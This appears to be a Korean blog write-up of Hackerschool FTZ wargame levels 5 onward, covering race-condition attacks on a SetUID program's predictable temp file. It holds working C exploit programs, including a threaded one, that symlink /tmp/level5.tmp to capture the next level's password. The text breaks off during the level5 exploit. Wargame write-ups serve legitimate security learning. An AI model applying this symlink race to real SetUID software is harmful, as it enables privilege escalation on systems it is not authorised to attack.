해커스쿨 Hackme FTZ 문제 Level5- level7(백도어 in 리버스 엔지니어링)

2020. 12. 8. 19:23

[목차]

1. level5 -> level6 풀이

1-1 리버싱을 통한 의사코드 복원 실습

1-2 공격용 프로그램 제작(Remote Exploit)

1-3 level5 과정에 대한 정리

2. Level6 ->Level 7 풀이

2-1 백도어 만들기

2-2 공격용 프로그램 개발(Remote Exploit)

3. level7-> level8 풀이

1. level5 -> level6 풀이

■ 단원의 목적

레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)

■ 레이스 컨디션(Race Condition)

다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.

■ 레이스 컨디션(Race Condition)의 전제조건

다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

임시 파일을 생성해야 한다.

공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다.

■ 레이스 컨디션이 발생하는 경우의 예

(일반적인 프로그램 실행시)

① 파일생성

② 생성된 파일에 내용쓰기

③ 쓴 내용을 읽어들여 처리/사용

④ 파일 삭제

cpu의 스케쥴링 방식을 악용하는 방식.

각 프로그램을 무한 루프로 감싸 돌리며 핀트를 맞춘다.

레이스 컨디션 = 반복 구문 무한루프

* 원본 소스파일의 코드를 실행하는 거냐 읽어드리는거냐에 따라 공격방법이 조금씩 다름

① level5 사용자로 로그인

level5 사용자로 로그인

ID/PASS: level5/what is your name?

② hint 파일 확인

[level5@ftz level5]$ ls -l

합계 12

-rw-r--r-- 1 root root 129 3월 23 2000 hint

drwxr-xr-x 2 root level5 4096 2월 24 2002 public_html

drwxrwx--- 2 root level5 4096 1월 16 2009 tmp

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 존재

/usr/bin/level5 프로그램이 실행되면 /tmp/level5.tmp 파일을 생성한다.

③ 힌트 정보에 맞는 target 파일 찾기

[level5@ftz level5]$ ls -l /usr/bin/level5

-rws--x--- 1 level6 level5 12236 8월 19 12:58 /usr/bin/level5

레벨5 사용자가 x- 실행할 수 있고 실행하는 동안은 레벨6의 권한을 갖는다.

[level5@ftz level5]$ find / -user level6 -perm -4000 2>/dev/null

/usr/bin/level5

④ /usr/bin/level5 실행시 임시 파일 생성 여부 확인

[level5@ftz level5]$ /usr/bin/level5 ; ls -l /tmp/level5.tmp

ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음

-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.

프로그램이 실행되는 동안에만 임시적으로 생성이 되는 듯.

그래서 무한 반복이 필요하다. 핀트를 맞추기 위해

⑤ 레이스 컨디션 공격을 위한 준비 (*타켓이 되는 프로그램을 많이 돌리는 프로그램)

[level5@ftz level5]$ cd tmp

[level5@ftz tmp]$ vi runTarget.c

#include <unistd.h>

int main(void)

{

int i;

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

}

[level5@ftz tmp]$ gcc -o runTarget runTarget.c

[level5@ftz tmp]$

[참고] ln 명령어에 대해서

[level5@ftz tmp]$ vi Attack_Target.c

#include<unistd.h>

int main()

{

int i;

system("touch /tmp/18pass.txt");

for(i=0; i<=10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp");

}

system("cat /tmp/18pass.txt");

system("rm -rf /tmp/18pass.txt");

}

[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target.c

[level5@ftz tmp]$

[level5@ftz tmp]$ vi Attack_Target.s

#!/bin/bash

# # gcc -o Attack_Target Attack_Target.c

# # gcc -o runTarget runTarget.c

# # ./Attack_Target.sh

./runTarget &

./Attack_Target

[level5@ftz tmp]$ chmod 755 Attack_Target.sh

[level5@ftz tmp]$ ./Attack_Target.sh

ln: `/tmp/level5.tmp': 파일이 존재합니다

next password : what the hell

혹시나 공격에 성공하지 못하는 경우가 있으면 반복 회수를 10번에서 20번 또는 30번으로 올려야 한다.

그리고 권한 거부가 뜨기 때문에 관리자 권한으로 해당 파일들을 삭제후 재시도 해야한다.

18pass.txt cat 허가 거부됨/remove 명령이 허용되지 않음

root) # rm -f /tmp/18pass.txt /tmp/level5.tmp

■ 레벨5의 레이스 컨디션 공격 타이밍 예제

-------------------------- Attack_Target.sh -------------------------------------

Attack_Target process runTarget process

---------------------------------------------------------------------------------

(ㄱ) 프로그램 실행 (ㄱ) 프로그램 실행

(ㄴ) 파일 생성(/tmp/18pass.txt)

+---------> (ㄷ)링크 파일 생성 <--- (ㄴ) 파일을 생성할려고 하지만 미리 만들어져 있음

(/tmp/level5.tmp)

(ㄷ) 파일에 내용 추가

(ㄹ) 파일 내용 확인(/tmp/18pass.tmp)

(ㅁ) 파일 삭제(EX: rm -f /tmp/18pass.txt)(ㄹ) 파일 삭제(EX: rm -f /tmp/level5.tmp)

(ㅂ) 프로그램 종료 (ㅁ) 프로그램 종료

1-1 공격용 프로그램 개발(Local Exploit)

■ thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.(Local Exploit)

[참고] Process & Thread 대해서

Google 검색: "thread & process 차이“

프로세서는 별도의 공간을 별도로 가져감. 그만큼 낭비될 수 있음

스레드는 같은 공간을 각각 가져감

같은 공간을 가지고 같은 방식의 서비스를 스레드로 처리하면 프로세스보다

훨씬 많은 양을 띄울 수 있어서 메모리 절약에 좋다.

단 무조건 빠르다고 볼 순 없다.딕셔너리 어택은 멀티 프로세서가 더 빠름.

케바케

[level5@ftz tmp]$ vi Attack_Target2.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

Complie Option: -pthread

# gcc -o Attack_Target Attack_Target2.c -pthread

# ./Attack_Target

void *exec_cmd();

void *exec_race();

int main()

{

pthread_t thread1, thread2;

char *message1 = "Thread 1";

char *message2 = "Thread 2";

int iret1, iret2, i;

/두개의 쓰레드를 만들어

iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1);

iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);

/ 실행

pthread_join(thread1, NULL);

pthread_join(thread2, NULL);

printf("Thread1 return: %d\n", iret1);

printf("Thread2 return: %d\n", iret2);

return 0;

}

void *exec_cmd()

{

int i;

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

printf("---------- Execute level5 ----------\n");

}

exit(0);

}

void *exec_race()

{

int i;

system("touch /tmp/18pass.txt");

for(i=0; i<10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp &");

printf("=========== Sucessfully create link !!! ========\n");

system("cat /tmp/18pass.txt");

}

exit(0);

}

[참고] 프로그램이 어떻게 동작하는지 분석하기 위해서 printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp

[root@ftz root]# exit

[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target2.c -pthread

[level5@ftz tmp]$ ./Attack_Target